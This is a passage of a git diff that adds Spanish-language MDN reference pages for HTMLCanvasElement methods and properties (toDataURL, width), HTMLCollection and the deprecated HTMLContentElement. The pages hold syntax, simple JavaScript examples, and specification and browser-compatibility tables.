+   <td>{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of the {{SpecName('HTML WHATWG')}} containing the initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop('19')}}</td>
+   <td>{{CompatIE(10)}}{{property_prefix("ms")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td>Image quality parameter (jpeg)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('25')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("19")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Image quality parameter (jpeg)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Chrome does not implement this feature yet. See <a href="http://crbug.com/67587">bug 67587</a>.</p>
+
+<p>[2] WebKit does not implement this feature yet. See {{WebKitBug("71270")}}.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("HTMLCanvasElement")}}.</li>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/es/web/api/htmlcanvaselement/todataurl/index.html b/files/es/web/api/htmlcanvaselement/todataurl/index.html
new file mode 100644
index 0000000000..30e2fdd71a
--- /dev/null
+++ b/files/es/web/api/htmlcanvaselement/todataurl/index.html
@@ -0,0 +1,159 @@
+---
+title: HTMLCanvasElement.toDataURL()
+slug: Web/API/HTMLCanvasElement/toDataURL
+tags:
+  - API
+  - Canvas
+  - HTMLCanvasElement
+  - Lienzo
+  - Referencia
+  - metodo
+translation_of: Web/API/HTMLCanvasElement/toDataURL
+---
+<div>
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+</div>
+
+<p>El método <strong><code>HTMLCanvasElement.toDataURL()</code></strong> devuelve un <a href="/en-US/docs/Web/HTTP/data_URIs">data URI</a> el cual contiene una representación de la imagen en el formato especificado por el parámetro <code>type</code> (por defecto es <a href="https://en.wikipedia.org/wiki/Portable_Network_Graphics">PNG</a>). La imagen obtenida tendrá una resolución de 96 dpi.</p>
+
+<ul>
+ <li>Si la altura o anchura del canvas es <code>0</code>, devuelve un string con <code>"data:,"</code></li>
+ <li>Si el tipo solicitado no es <code>image/png</code> pero el valor devuelto empieza por <code>data:image/png</code>, entonces el formato especificado no esta soportado.</li>
+ <li>Chrome también soporta el tipo <code>image/webp</code>.</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><var><em>canvas</em>.toDataURL(<em>tipo</em>, <em>opcionesCodificación</em>);</var>
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>tipo</code>{{optional_inline}}</dt>
+ <dd>Un {{domxref("DOMString")}} indicando el formato de la imagen. El tipo por defecto es <code>image/png</code>.</dd>
+ <dt><code>opcionesCodificación</code>{{optional_inline}}</dt>
+ <dd>Un {{jsxref("Number")}} entre <code>0</code> y <code>1</code> indicando la calidad de la imagen si el tipo solicitado es <code>image/jpeg</code> o <code>image/webp</code>.<br>
+ Si este argumento es cualquier otra cosa, se usa el valor por defecto de la imagen. El valor por defecto es <code>0.92</code>. Otros argumentos se ignoran.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>Un {{domxref("DOMString")}} que contiene el valor <a href="/en-US/docs/Web/HTTP/data_URIs">data URI</a>.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Dado un elemento {{HTMLElement("canvas")}}:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="5" height="5"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>Puedes obtener el data-URL del canvas con las siguientes líneas:</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var dataURL = canvas.toDataURL();
+console.log(dataURL);
+// "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNby
+// blAAAADElEQVQImWNgoBMAAABpAAFEI8ARAAAAAElFTkSuQmCC"
+</pre>
+
+<h3 id="Establecer_la_calidad_de_imagen_con_jpegs">Establecer la calidad de imagen con jpegs</h3>
+
+<pre class="brush: js">var fullQuality = canvas.toDataURL('image/jpeg', 1.0);
+// "data:image/jpeg;base64,/9j/4AAQSkZJRgABAQ...9oADAMBAAIRAxEAPwD/AD/6AP/Z"
+var mediumQuality = canvas.toDataURL('image/jpeg', 0.5);
+var lowQuality = canvas.toDataURL('image/jpeg', 0.1);
+</pre>
+
+<h3 id="Example:_Dynamically_change_images" name="Example:_Dynamically_change_images">Ejemplo: Cambiar imágenes dinámicamente</h3>
+
+<p>Se puede usar esta técnica junto con los eventos del mouse para cambiar las imágenes de manera dinámica (escala de grises versus color en este ejemplo):</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;img class="grayscale" src="myPicture.png" alt="Description of my picture" /&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js;highlight:[33]">window.addEventListener('load', quitarColor);
+
+function verImgEnColor() {
+  this.style.display = 'none';
+  this.nextSibling.style.display = 'inline';
+}
+
+function verImgEnGris() {
+  this.previousSibling.style.display = 'inline';
+  this.style.display = 'none';
+}
+
+function quitarColor() {
+  var aImages = document.getElementsByClassName('escalagrises'),
+      nImgsLen = aImages.length,
+      oCanvas = document.createElement('canvas'),
+      oCtx = oCanvas.getContext('2d');
+  for (var nWidth, nHeight, oImgData, oGrayImg, nPixel, aPix, nPixLen, nImgId = 0; nImgId &lt; nImgsLen; nImgId++) {
+    var oColorImg = aImages[nImgId];
+    nWidth = oColorImg.offsetWidth;
+    nHeight = oColorImg.offsetHeight;
+    oCanvas.width = nWidth;
+    oCanvas.height = nHeight;
+    oCtx.drawImage(oColorImg, 0, 0);
+    oImgData = oCtx.getImageData(0, 0, nWidth, nHeight);
+    aPix = oImgData.data;
+    nPixLen = aPix.length;
+    for (nPixel = 0; nPixel &lt; nPixLen; nPixel += 4) {
+      aPix[nPixel + 2] = aPix[nPixel + 1] = aPix[nPixel] = (aPix[nPixel] + aPix[nPixel + 1] + aPix[nPixel + 2]) / 3;
+    }
+    oCtx.putImageData(oImgData, 0, 0);
+    oGrayImg = new Image();
+    oGrayImg.src = oCanvas.toDataURL();
+    oGrayImg.onmouseover = verImgEnColor;
+    oColorImg.onmouseout = verImgEnGris;
+    oCtx.clearRect(0, 0, nWidth, nHeight);
+    oColorImg.style.display = "none";
+    oColorImg.parentNode.insertBefore(oGrayImg, oColorImg);
+  }
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-todataurl", "HTMLCanvasElement.toDataURL")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambios desde el último snapshot, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-todataurl", "HTMLCanvasElement.toDataURL")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-todataurl", "HTMLCanvasElement.toDataURL")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot del {{SpecName('HTML WHATWG')}} con la definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad de esta página se genera de datos estructurados. Si te gustaría contribuir a los datos, por favor revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y haznos una pull request.</div>
+
+<p>{{Compat("api.HTMLCanvasElement.toDataURL")}}</p>
+
+<h2 id="See_Also" name="See_Also">Ver también</h2>
+
+<ul>
+ <li>La interfaz que lo define, {{domxref("HTMLCanvasElement")}}.</li>
+ <li><a href="/en-US/docs/Web/HTTP/data_URIs">Data URIs</a> en la referencía <a href="/en-US/docs/Web/HTTP">HTTP</a>.</li>
+</ul>
diff --git a/files/es/web/api/htmlcanvaselement/width/index.html b/files/es/web/api/htmlcanvaselement/width/index.html
new file mode 100644
index 0000000000..1eb26275af
--- /dev/null
+++ b/files/es/web/api/htmlcanvaselement/width/index.html
@@ -0,0 +1,119 @@
+---
+title: HTMLCanvasElement.width
+slug: Web/API/HTMLCanvasElement/width
+translation_of: Web/API/HTMLCanvasElement/width
+---
+<div>
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+</div>
+
+<p>TLa propiedad  <strong><code><span>HTMLCanvasElement.width</span></code></strong> es un entero positivo que refleja el atributo {{htmlattrxref("width", "canvas")}} del elemento {{HTMLElement("canvas")}} interpretado en pixeles CSS. Cuando el atributo no esta especificado o se define con un valor invalido (ej. Número negativo), es usado el valor por defecto de 150.</p>
+
+<p>Esta es una de de las dos propiedades que controlan el tamaño del canvas, siendo la otra {{domxref("HTMLCanvasElement.height")}}, that controls the size of the canvas.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>var <em>pxl</em> = <em>canvas</em></var>.width;
+<em>canvas</em>.width = <em>pxl</em>;
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Dado el siguiente elemento {{HTMLElement("canvas")}} :</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>Puedes obtener el ancho del canvas con el siguiente codigo:</p>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+console.log(canvas.width); // 300
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#attr-canvas-width", "HTMLCanvasElement.width")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No hay cambios desde la ultima foto {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#attr-canvas-width", "HTMLCanvasElement.width")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#attr-canvas-width", "HTMLCanvasElement.width")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Foto que contiene la definición inicial {{SpecName('HTML WHATWG')}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Navegadores">Compatibilidad de Navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>BSoporte Básico</td>
+   <td>{{ CompatChrome(4) }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.2") }}</td>
+   <td>{{ CompatIE(9) }}</td>
+   <td>{{ CompatOpera(9) }}</td>
+   <td>{{ CompatSafari(3.1) }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.9.2") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Ver también</h2>
+
+<ul>
+ <li>La interfaz que lo define, {{domxref("HTMLCanvasElement")}}.</li>
+ <li>La otra propiedad que controla el tamaño del canvas,{{domxref("HTMLCanvasElement.height")}}.</li>
+</ul>
diff --git a/files/es/web/api/htmlcollection/index.html b/files/es/web/api/htmlcollection/index.html
new file mode 100644
index 0000000000..6d255f4536
--- /dev/null
+++ b/files/es/web/api/htmlcollection/index.html
@@ -0,0 +1,99 @@
+---
+title: HTMLCollection
+slug: Web/API/HTMLCollection
+tags:
+  - API
+  - DOM
+  - HTML DOM
+  - HTMLCollection
+  - Interfaz
+  - Lista de elementos
+  - Referencia
+  - Referência DOM
+translation_of: Web/API/HTMLCollection
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>La interfaz <strong><code>HTMLCollection</code></strong> representa una colección genérica (objeto tipo array similar a arguments) de elementos (en orden de documento) y ofrece métodos y propiedades para seleccionarlos de la lista.</p>
+
+<div class="note"><strong>Nota: </strong>Esta interfaz se llama <code>HTMLCollection</code> por razones históricas (antes del DOM moderno, las colecciones que implementaban esta interfaz sólo podían tener elementos HTML como sus ítems).</div>
+
+<p>Una <code>HTMLCollection</code> en el DOM de HTML está viva; se actualiza automáticamente cuando el documento subyacente cambia.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.length")}} {{readonlyInline}}</dt>
+ <dd>Devuelve el numero de ítems en la colección.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.item()")}}</dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Devuelve el</span> <span class="hps">nodo específicado en el índice en base cero dentro de</span> <span class="hps">la lista.</span> <span class="hps">Devuelve</span> <span class="hps"><code>null</code> si</span> <span class="hps">el índice está fuera</span> <span class="hps">de rango.</span></span></dd>
+ <dt>{{domxref("HTMLCollection.namedItem()")}}</dt>
+ <dd><span id="result_box" lang="es"><span class="hps">Devuelve el</span> <span class="hps">nodo específico</span> <span class="hps">cuyo ID</span><span class="hps"> o</span><span>,</span> <span class="hps">en último caso</span><span>,</span> cuyo <span class="hps">nombre coincide con</span> <span class="hps">la cadena especificada</span> <span class="hps">por</span></span> <code>name</code><span lang="es"><span class="hps">.</span> La c<span class="hps">oincidencia</span> <span class="hps">por nombre</span> <span class="hps">sólo se hace</span> <span class="hps">como último recurso</span><span>,</span> <span class="hps">sólo en</span> <span class="hps">HTML,</span> <span class="hps">y sólo si el</span> <span class="hps">elemento referenciado</span> <span class="hps">soporta</span> <span class="hps">el atributo </span></span><code>name</code><span lang="es"><span>.</span> <span class="hps">Devuelve <code>null</code></span> <span class="hps">si no existe ningún</span> <span class="hps">nodo</span> <span class="hps">con el nombre</span> <span class="hps">indicado.</span></span></dd>
+</dl>
+
+<h2 id="Uso_en_JavaScript">Uso en JavaScript</h2>
+
+<p><span id="result_box" lang="es"><code><span class="hps">HTMLCollection</span></code></span> también<span lang="es"><span class="hps"> expone a</span> <span class="hps">sus miembros</span> <span class="hps">directamente como</span> <span class="hps">propiedades tanto por</span> </span>name <span lang="es">como por<span class="hps"> </span></span>index<span lang="es"><span>. Los</span> <span class="hps">IDS de</span> <span class="hps">HTML</span> <span class="hps">deben contener </span><code><span>:</span></code> <span class="hps">y </span><code><span>.</span></code> <span class="hps">como caracteres</span> <span class="hps">válidos</span><span>, los cuales necesitan del uso de corchetes para acceder a sus propiedades</span><span>.</span> <span class="hps">Actualmente</span> las <span class="hps">HTMLCollections</span> <span class="hps">no reconocen</span> <span class="hps">los IDS</span> <span class="hps">puramente</span> <span class="hps">numéricos</span><span>, lo que causaría</span> <span class="hps">conflicto con el</span> <span class="hps">acceso</span> al estilo array<span class="hps">,</span> <span class="hps">aunque</span> <span class="hps">HTML5</span> <span class="hps">sí permite</span> <span class="hps">estos.</span></span></p>
+
+<p>Por ejemplo, suponiendo que hay un elemento <code>&lt;form&gt;</code> en el documento y que su <code>id</code> es<font face="Open Sans, Arial, sans-serif"> </font><code>"myForm"</code>:</p>
+
+<pre class="brush:js">var elem1, elem2;
+
+// document.forms es un HTMLCollection
+
+elem1 = document.forms[0];
+elem2 = document.forms.item(0);
+
+alert(elem1 === elem2); // muestra: "true"
+
+elem1 = document.forms.myForm;
+elem2 = document.forms.namedItem("myForm");
+
+alert(elem1 === elem2); // muestra: "true"
+
+elem1 = document.forms["named.item.with.periods"];</pre>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#htmlcollection', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-75708506', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM2 HTML') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-75708506', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM1') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{Compat("api.HTMLCollection")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{domxref("NodeList")}}</li>
+ <li>{{domxref("HTMLFormControlsCollection")}}, {{domxref("HTMLOptionsCollection")}}</li>
+</ul>
diff --git a/files/es/web/api/htmlcontentelement/getdistributednodes/index.html b/files/es/web/api/htmlcontentelement/getdistributednodes/index.html
new file mode 100644
index 0000000000..c4aad9ddb8
--- /dev/null
+++ b/files/es/web/api/htmlcontentelement/getdistributednodes/index.html
@@ -0,0 +1,95 @@
+---
+title: HTMLContentElement.getDistributedNodes()
+slug: Web/API/HTMLContentElement/getDistributedNodes
+tags:
+  - Necesita traducción
+translation_of: Web/API/HTMLContentElement/getDistributedNodes
+---
+<p>{{ APIRef("Web Components") }}</p>
+
+<p>The <code><strong>HTMLContentElement.getDistributedNodes()</strong></code> method returns a static {{domxref("NodeList")}} of the {{glossary("distributed nodes")}} associated with this <code>&lt;content&gt;</code> element.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>nodeList</em> = <em>object</em>.getDistributedNodes()
+</pre>
+
+<h2 id="Specifications" name="Specifications">Example</h2>
+
+<pre class="brush: js">// Get the distributed nodes
+var nodes = myContentObject.getDistributedNodes();</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM', '#the-content-element', 'content')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>35</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatGeckoDesktop("28")}}</span> [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatNo}}</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>37</td>
+   <td>{{CompatGeckoMobile("28")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] If Shadow DOM is not enabled in Firefox, <code>&lt;content&gt;</code> elements will behave like {{domxref("HTMLUnknownElement")}}. Shadow DOM was first implemented in Firefox 28 and is behind a preference, <code>dom.webcomponents.enabled</code>, which is disabled by default.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/HTMLContentElement">HTMLContentElement</a></li>
+</ul>
diff --git a/files/es/web/api/htmlcontentelement/index.html b/files/es/web/api/htmlcontentelement/index.html
new file mode 100644
index 0000000000..637210416d
--- /dev/null
+++ b/files/es/web/api/htmlcontentelement/index.html
@@ -0,0 +1,110 @@
+---
+title: HTMLContentElement
+slug: Web/API/HTMLContentElement
+tags:
+  - Necesita traducción
+translation_of: Web/API/HTMLContentElement
+---
+<p>{{ APIRef("Web Components") }}</p>
+
+<p>{{Deprecated_header}}</p>
+
+<p>The <code><strong>HTMLContentElement</strong></code> interface represents a {{HTMLElement("content")}} HTML Element, which is used in <a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a>. </p>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<p><em>This interface inherits the properties of {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLContentElement.select")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("select", "content") }} HTML attribute. The value is a comma-separated list of CSS selectors that select the content to insert in place of the <code>&lt;content&gt;</code> element.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits the methods of {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLContentElement.getDistributedNodes()")}}</dt>
+ <dd>Returns a static {{domxref("NodeList")}} of the {{glossary("distributed nodes")}} associated with this <code>&lt;content&gt;</code> element. </dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM', '#the-content-element', 'content')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>35</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatGeckoDesktop("28")}}</span> [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatNo}}</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>37</td>
+   <td>{{CompatGeckoMobile("28")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] If Shadow DOM is not enabled in Firefox, &lt;content&gt; elements will behave like {{domxref("HTMLUnknownElement")}}. Shadow DOM was first implemented in Firefox 28 and is behind a preference, <code>dom.webcomponents.enabled</code>, which is disabled by default.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{HTMLElement("content")}} HTML element, implementing this interface.</li>
+ <li><a href="/en-US/docs/Web/Web_Components/Shadow_DOM">Shadow DOM</a></li>
+</ul>
+
+<dl>
+ <dt> </dt>
+</dl>
diff --git a/files/es/web/api/htmlcontentelement/select/index.html b/files/es/web/api/htmlcontentelement/select/index.html
new file mode 100644
index 0000000000..916be57621
--- /dev/null
+++ b/files/es/web/api/htmlcontentelement/select/index.html
@@ -0,0 +1,95 @@
+---
+title: HTMLContentElement.select
+slug: Web/API/HTMLContentElement/select
+tags:
+  - Necesita traducción
+translation_of: Web/API/HTMLContentElement/select
+---
+<p>{{ APIRef("Web Components") }}</p>
+
+<p>The <code><strong>HTMLContentElement.select</strong></code> property reflects the <code>select</code> attribute. It is a {{domxref("DOMString")}} containing a space-separated list of CSS selectors that select the content to insert in place of the &lt;content&gt; element.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>object</em>.select = "<em>CSSselector</em> <em>CSSselector</em> ...";
+</pre>
+
+<h2 id="Specifications" name="Specifications">Example</h2>
+
+<pre class="brush: js">// Select &lt;h1&gt; elements and elements with class="error"
+myContentObject.select = "h1 .error";</pre>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="spec-table standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Shadow DOM', '#the-content-element', 'content')}}</td>
+   <td>{{Spec2('Shadow DOM')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>35</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatGeckoDesktop("28")}}</span> [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>26</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatNo}}</span></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>37</td>
+   <td>{{CompatGeckoMobile("28")}} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] If Shadow DOM is not enabled in Firefox, &lt;content&gt; elements will behave like {{domxref("HTMLUnknownElement")}}. Shadow DOM was first implemented in Firefox 28 and is behind a preference, <code>dom.webcomponents.enabled</code>, which is disabled by default.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/HTMLContentElement">HTMLContentElement</a></li>
+</ul>
